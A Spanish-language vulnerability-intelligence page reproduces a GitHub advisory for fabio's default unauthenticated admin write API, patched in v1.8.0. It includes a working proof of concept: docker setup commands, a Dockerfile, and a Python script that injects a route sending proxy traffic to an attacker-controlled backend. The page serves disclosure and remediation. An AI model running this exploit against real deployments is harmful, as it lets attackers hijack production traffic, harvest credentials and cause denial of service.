llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/fabiolb/fabio

GHSA-M4GQ-923H-4W8R

Default Unauthenticated Admin Write API Enables Routing Takeover

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición73 dDesde la divulgación, 8 sept 2026, 9:07 p. m.
Detección70 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. Hay versiones corregidas disponibles.
CVSS alto, corazón bajito. Priorízala.Le tengo más miedo a esta CVE que a los lunes.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.8.0
Monitoreo
Detectada +1
9 sept 26
18 nov 26
21 nov 26
9 sept 26
27 sept 26
15 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-M4GQ-923H-4W8R divulgada · CVSS 9.8 (GitHub)
Remediación Parche v1.8.0 github.com/fabiolb/fabio · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Default Unauthenticated Admin Write API Enables Routing Takeover

### Summary
fabio, when run with its vendor-shipped default configuration (no config file, no CLI flags), starts an admin HTTP server on `0.0.0.0:9998` in read-write (`rw`) mode with no authentication, authorization, or CSRF protection of any kind. This admin server exposes `PUT /api/manual`, which lets any network client that can reach port 9998 write arbitrary "manual" route commands directly into fabio's routing backend (e.g. Consul KV). Fabio watches this backend and live-reloads the injected route into its active routing table, allowing a remote, unauthenticated attacker to redirect any path served by fabio's proxy port (default `9999`) to an attacker-controlled backend. This constitutes a full remote routing takeover of the proxy with no prerequisites beyond network reachability to the default admin port. Both static source review and a full dynamic reproduction (unmodified upstream binary, default config only) confirm the vulnerability is real, exploitable in a single unauthenticated HTTP request, and present in the out-of-the-box defaults rather than requiring any non-standard configuration. CVSS 3.1 base score: 9.8 (Critical).

### Details
The vulnerability spans configuration defaults, the admin HTTP mux, the manual-route API handler, and the Consul-backed registry that persists routing state.

  1. Insecure defaults (`config/default.go`)
  2. `UIListenerValue: ":9998"` — the admin/UI listener binds to all interfaces by default (not `127.0.0.1`).
  3. `Access: "rw"` — the default admin access mode is read-write, not read-only.
  1. Unconditional startup (`main.go:144`, `main.go:316`)
  1. Handler registration without auth (`admin/server.go:42-48`)
  1. Unauthenticated write sink (`admin/api/manual.go:38-50`)
  1. Persistence to Consul KV (`registry/consul/backend.go:129`, `registry/consul/kv.go:81-83`)
  1. Live reload into the routing table (`main.go:618`, `main.go:640`, `main.go:645`)
  1. Traffic redirection (`proxy/http_proxy.go:100`, `:143-146`, `:230`)

This is not a misconfiguration or a non-default/demo setup: `docs/content/feature/web-ui.md` explicitly documents the default listener as `http://0.0.0.0:9998/` with `rw` access, confirming this is the product's shipped, documented default behavior.

### PoC
Environment: unmodified fabio source (commit `da9f26202b289e602c2e2e854778ec8ec7357f8a`, ~1.7.3) compiled as-is via the included `Dockerfile`, run with zero custom flags or config file, backed by a stock Consul dev-mode agent.

Setup:

docker network create fabio-poc

# Consul backend (fabio's default registry)
docker run -d --rm --name consul-poc --network fabio-poc \
  hashicorp/consul:1.20 agent -dev -client=0.0.0.0

# Attacker-controlled HTTP backend
docker run -d --rm --name attacker-poc --network fabio-poc python:3.12-alpine \
  sh -c 'printf "ATTACKER_BACKEND_PWNED\n" > /index.html && cd / && python -m http.server 5678'

# Build fabio from the unmodified repo (build context = repo root)
docker build -f vuln-001/Dockerfile -t fabio-vuln001:poc repo/

# Run fabio with stock defaults only (no auth flags, no config file)
docker run -d --rm --name fabio-poc-node --network fabio-poc \
  -p 127.0.0.1:9998:9998 -p 127.0.0.1:9999:9999 \
  fabio-vuln001:poc -registry.consul.addr=consul-poc:8500

Exploit (`poc.py`):

python3 poc.py

Steps performed by `poc.py`:
1. Baseline (control): `GET http://127.0.0.1:9999/` → `HTTP 404` (no route configured yet).
2. Unauthenticated write: `PUT http://127.0.0.1:9998/api/manual` with body
```json
{"value": "route add evil / http://attacker-poc:5678/\n", "version": "0"}
```
sent with no `Authorization` header, cookie, or credential of any kind → `HTTP 200` (write accepted).
3. Wait ~3s for fabio to reload its routing table from Consul KV.
4. Verification: `GET http://127.0.0.1:9999/` → `HTTP 200`, `Server: SimpleHTTP/0.6 Python/3.12.14`, body `ATTACKER_BACKEND_PWNED` — proxy traffic is now served entirely by the attacker's backend.

Fabio's own log confirms the injected route was applied: `+ route add evil / http://attacker-poc:5678/`.

### Impact
This is CWE-306: Missing Authentication for Critical Function. Any network attacker able to reach the default admin port (`9998`, bound to `0.0.0.0` by default) can, with a single unauthenticated HTTP request:
- Hijack any or all routes served by fabio's proxy port, redirecting production traffic to an attacker-controlled backend (loss of integrity for all downstream clients — phishing, credential harvesting, malware delivery, response tampering).
- Add catch-all or overlapping routes to black-hole traffic (denial of service for legitimate backends).
- Use fabio as a pivot to reach internal-only HTTP services reachable from fabio's network position (SSRF-like lateral movement).

Impacted parties are all operators running fabio with default settings (no external reverse-proxy/firewall restricting port 9998, and no non-default hardening applied), which — per the project's own documentation — describes the out-of-the-box behavior of the product.

Reproduction artifacts
`Dockerfile`
# VULN-001 PoC image for fabiolb/fabio
#
# Builds the fabio binary directly from the unmodified local clone of the
# target repository (commit da9f26202b289e602c2e2e854778ec8ec7357f8a) and
# runs it with stock defaults (no custom flags/config file), to prove that
# the vendor-shipped default configuration exposes an unauthenticated
# admin write API (PUT /api/manual) that can redirect proxy traffic.
#
# Build context MUST be the cloned repository directory, e.g.:
#   docker build -f vuln-001/Dockerfile -t fabio-vuln001:poc repo/
#
# NOTE: no source file in the repo is modified for this build. This
# Dockerfile only compiles the code exactly as checked out.

FROM golang:1.26-alpine AS build

RUN apk add --no-cache git ca-certificates

WORKDIR /src
COPY . .

# Build fabio with its stock defaults (config/default.go untouched).
RUN CGO_ENABLED=0 GOOS=linux go build -trimpath -ldflags "-s -w" -o /out/fabio .

FROM alpine:3.20
RUN apk add --no-cache ca-certificates
COPY --from=build /out/fabio /usr/bin/fabio

# Expose the default admin UI/API port (9998) and proxy port (9999).
EXPOSE 9998 9999

# Intentionally started with NO flags and NO config file, i.e. exactly the
# out-of-the-box defaults defined in config/default.go:
#   UIListenerValue = ":9998"  (binds all interfaces)
#   UI.Access        = "rw"    (registers unauthenticated /api/manual)
#   Registry.Backend = "consul"
#   Registry.Consul.Addr = "localhost:8500" (overridden via -registry.consul.addr)
ENTRYPOINT ["/usr/bin/fabio"]
`poc.py`
#!/usr/bin/env python3
"""
VULN-001 PoC: Default Unauthenticated Admin Write API Enables Routing Takeover
Target: fabiolb/fabio (repo HEAD da9f26202b289e602c2e2e854778ec8ec7357f8a, ~1.7.3)
CWE-306 - Missing Authentication for Critical Function
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

What this proves:
  fabio, started with ZERO custom configuration (no config file, no auth
  flags -- only the vendor-shipped defaults from config/default.go), exposes
  an admin API on 0.0.0.0:9998 that accepts unauthenticated PUT requests to
  /api/manual. An anonymous network attacker can use this endpoint to inject
  a "route add" command that is written straight into the Consul KV store
  fabio uses as its routing source of truth. Fabio then live-reloads that
  route and starts forwarding all matching proxy traffic (port 9999) to a
  backend fully controlled by the attacker.

This script only talks to 127.0.0.1 (published container ports). It does not
attack any live/external service, does not modify the target repository's
source code, and does not perform any destructive action -- it just proves
the unauthenticated write + route-hijack primitive end to end.

Usage:
  python3 poc.py
"""

import json
import sys
import time
import urllib.error
import urllib.request

FABIO_ADMIN_URL = "http://127.0.0.1:9998"
FABIO_PROXY_URL = "http://127.0.0.1:9999"
ATTACKER_MARKER = "ATTACKER_BACKEND_PWNED"
ATTACKER_BACKEND = "http://attacker-poc:5678/"  # reachable from fabio's container network


def http(method, url, body=None, headers=None, timeout=10):
    data = body.encode() if isinstance(body, str) else body
    req = urllib.request.Request(url, data=data, method=method, headers=headers or {})
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, dict(resp.getheaders()), resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read().decode(errors="replace")


def step(msg):
    print(f"\n[*] {msg}")


def main():
    step("Step 0: baseline check -- request the proxy port BEFORE injecting any route")
    status, _, body = http("GET", f"{FABIO_PROXY_URL}/")
    print(f"    GET {FABIO_PROXY_URL}/ -> HTTP {status}, body={body[:80]!r}")
    if status == 200 and ATTACKER_MARKER in body:
        print("    [FAIL] Attacker marker already present before exploitation -- environment is not clean.")
        sys.exit(2)

    step("Step 1: send an UNAUTHENTICATED PUT to the admin write API (/api/manual)")
    payload = json.dumps({
        "value": f"route add evil / {ATTACKER_BACKEND}\n",
        "version": "0",
    })
    print(f"    PUT {FABIO_ADMIN_URL}/api/manual")
    print(f"    body: {payload}")
    status, _, body = http(
        "PUT",
        f"{FABIO_ADMIN_URL}/api/manual",
        body=payload,
        headers={"Content-Type": "application/json"},
    )
    print(f"    -> HTTP {status} {body!r}")
    if status not in (200, 201):
        print(f"    [FAIL] Admin API did not accept the unauthenticated write (HTTP {status}).")
        sys.exit(1)
    print("    [OK] No Authorization header, no cookie, no credentials of any kind were sent.")
    print("    [OK] Admin API accepted the write anonymously.")

    step("Step 2: wait for fabio to pick up the new route from Consul KV and rebuild its routing table")
    time.sleep(3)

    step("Step 3: request the proxy port AGAIN -- expect traffic to be routed to the attacker backend")
    status, headers, body = http("GET", f"{FABIO_PROXY_URL}/")
    print(f"    GET {FABIO_PROXY_URL}/ -> HTTP {status}")
    print(f"    Server header: {headers.get('Server')}")
    print(f"    Body: {body!r}")

    if status == 200 and ATTACKER_MARKER in body:
        print(f"\n[PASS] Unauthenticated route injection succeeded.")
        print(f"[PASS] fabio's proxy port now serves attacker-controlled content: {body.strip()!r}")
        sys.exit(0)
    else:
        print("\n[FAIL] Proxy traffic was not redirected to the attacker backend.")
        sys.exit(1)


if __name__ == "__main__":
    main()

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/fabiolb/fabio≤ 1.7.3
1.7.3
v1.8.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/fabiolb/fabio
Corregida v1.8.0 0 d v1.8.0 no afectada
Versiones corregidasv1.8.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/fabiolb/fabio/security/advisories/GHSA-m4gq-923h-4w8r

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.